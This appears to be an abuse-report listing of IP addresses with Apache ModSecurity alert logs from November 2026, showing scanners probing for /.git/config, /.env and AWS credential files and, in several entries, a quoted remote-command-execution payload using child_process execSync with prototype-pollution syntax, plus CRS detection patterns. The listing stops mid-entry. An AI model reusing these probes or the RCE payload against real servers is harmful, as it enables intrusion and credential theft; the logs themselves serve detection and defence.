|
🇳🇱
86.54.31.38
|
|
11/Nov/2026:15:52:43.484555Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 86.54. ...
show more
11/Nov/2026:15:52:43.484555Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 86.54.31.38] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avTVm5GuWHFC0i7IZT1PfgAAAAI"]
11/Nov/2026:15:52:51.565279Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 86.54.31.38] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇵🇱
45.138.12.16
|
|
11/Nov/2026:15:17:37.686893Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138 ...
show more
11/Nov/2026:15:17:37.686893Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.16] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.dbgroupe.link"] [uri "/.git/config"] [unique_id "avTNYWzXP_7Y5Aorl-DNtgAAAAk"]
11/Nov/2026:15:17:38.059984Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.16] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
77.91.71.90
|
|
11/Nov/2026:14:12:08.135064Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 77.91. ...
show more
11/Nov/2026:14:12:08.135064Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 77.91.71.90] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113:443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avS-CNl83lFt8QFHbDzzzwAAAAg"]
11/Nov/2026:14:12:08.440774Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 77.91.71.90] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "703"] [id "920340"] [msg "Request Containing Content, but Missing
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
66.132.186.204
|
|
11/Nov/2026:13:20:21.665015Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132 ...
show more
11/Nov/2026:13:20:21.665015Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.186.204] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSx5Z0J0DAe7YGoFI3BDgAAAAs"]
11/Nov/2026:13:20:31.384871Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.186.204] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numer
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
66.132.159.95
|
|
11/Nov/2026:10:50:03.964190Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132 ...
show more
11/Nov/2026:10:50:03.964190Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.159.95] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSOq_aqvNPNwOZpQ9t6cgAAAAQ"]
11/Nov/2026:10:50:53.127821Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.159.95] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
94.102.49.190
|
|
11/Nov/2026:10:29:17.006376Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.102 ...
show more
11/Nov/2026:10:29:17.006376Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.102.49.190] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSJzbuy3nDJrwu0hg1hZQAAAAE"]
11/Nov/2026:10:29:21.883844Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.102.49.190] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
80.82.77.139
|
|
11/Nov/2026:10:21:15.662401Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 80.82. ...
show more
11/Nov/2026:10:21:15.662401Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 80.82.77.139] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSH6_9G5E7HyXAIX6ovOAAAAA4"]
11/Nov/2026:10:21:20.483173Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 80.82.77.139] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric I
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇧🇪
35.233.97.20
|
|
11/Nov/2026:09:17:16.146589Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.233 ...
show more
11/Nov/2026:09:17:16.146589Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.233.97.20] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ntopng.dbgroupe.link"] [uri "/.aws/.env"] [unique_id "avR47MlYOvEusV2oukicfAAAABE"]
11/Nov/2026:09:17:16.237452Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.233.97.20] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
45.148.10.21
|
|
11/Nov/2026:06:56:01.009476Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148 ...
show more
11/Nov/2026:06:56:01.009476Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.21] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "cloud.dbgroupe.link"] [uri "/.aws/.env"] [unique_id "avRX0dC235LDgzhTB3uEMgAAAAI"]
11/Nov/2026:06:56:01.099581Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.21] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dl
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇭🇰
35.241.126.29
|
|
11/Nov/2026:06:55:35.379745Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.241 ...
show more
11/Nov/2026:06:55:35.379745Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.241.126.29] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [ta
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇧🇪
34.76.228.132
|
|
11/Nov/2026:06:10:29.168016Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.76. ...
show more
11/Nov/2026:06:10:29.168016Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.76.228.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ocd.dbgroupe.link"] [uri "/.aws/.env"] [unique_id "avRNJQKMlp1USZ4weiXnawAAAAQ"]
11/Nov/2026:06:10:29.258034Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.76.228.132] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "9301
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇭🇰
35.220.166.110
|
|
11/Nov/2026:04:31:29.094917Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.220 ...
show more
11/Nov/2026:04:31:29.094917Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.220.166.110] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [t
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
195.178.110.159
|
|
11/Nov/2026:02:59:20.486847Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.17 ...
show more
11/Nov/2026:02:59:20.486847Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.178.110.159] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1128"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "cosmos.dbgroupe.link"] [uri "/.git/config"] [unique_id "avQgWI6WgnDFX3Asr2xsXQAAAAk"]
11/Nov/2026:02:59:20.486847Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.178.110.159] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [fil
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇪🇸
34.175.146.213
|
|
11/Nov/2026:02:29:01.943595Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.175 ...
show more
11/Nov/2026:02:29:01.943595Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.175.146.213] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [t
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇮🇹
34.17.6.247
|
|
11/Nov/2026:01:10:38.216276Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.17. ...
show more
11/Nov/2026:01:10:38.216276Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.17.6.247] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
165.154.172.88
|
|
11/Nov/2026:01:00:02.113290Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.15 ...
show more
11/Nov/2026:01:00:02.113290Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.154.172.88] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avQEYo6WgnDFX3Asr2xrtgAAAAk"]
11/Nov/2026:01:00:02.374902Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.154.172.88] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numer
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇹🇼
128.14.236.224
|
|
11/Nov/2026:00:14:45.755819Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 128.14 ...
show more
11/Nov/2026:00:14:45.755819Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 128.14.236.224] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avP5xaxGwNtKN-2QyT_d5gAAAAg"]
11/Nov/2026:00:14:51.411604Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 128.14.236.224] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numer
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇭🇰
156.225.1.62
|
|
11/Nov/2026:00:14:33.846831Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 156.22 ...
show more
11/Nov/2026:00:14:33.846831Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 156.225.1.62] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113:443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avP5uaxGwNtKN-2QyT_d5QAAAAg"]
11/Nov/2026:00:14:33.846831Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 156.225.1.62] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCO
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
165.154.202.146
|
|
11/Nov/2026:00:14:16.647384Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.15 ...
show more
11/Nov/2026:00:14:16.647384Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.154.202.146] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113:443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avP5qCB2a4eKhCVtYG__hwAAAAA"]
11/Nov/2026:00:14:17.177356Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.154.202.146] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇹🇭
104.28.214.148
|
|
11/Nov/2026:00:08:39.826881Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28 ...
show more
11/Nov/2026:00:08:39.826881Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28.214.148] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.quelestmonip.dbgroupe.link"] [uri "/.git/HEAD"] [unique_id "avP4V73r-1ooqgLcoCPc_QAAAAY"]
11/Nov/2026:00:08:40.774293Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28.214.148] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇹🇭
104.28.246.147
|
|
11/Nov/2026:00:08:39.824182Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28 ...
show more
11/Nov/2026:00:08:39.824182Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28.246.147] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.quelestmonip.dbgroupe.link"] [uri "/.env"] [unique_id "avP4V2vmQrAlca8_sTmw-gAAAAU"]
11/Nov/2026:00:08:39.824553Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28.246.147] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "9301
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇹🇷
104.28.244.150
|
|
10/Nov/2026:23:46:59.849265Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28 ...
show more
10/Nov/2026:23:46:59.849265Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28.244.150] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.dbgroupe.link"] [uri "/.git/HEAD"] [unique_id "avPzQxNj9fTEtk0sT6tpdAAAAAs"]
10/Nov/2026:23:46:59.862186Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 104.28.244.150] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "93013
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇨🇭
34.65.30.93
|
|
10/Nov/2026:23:36:27.653031Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.65. ...
show more
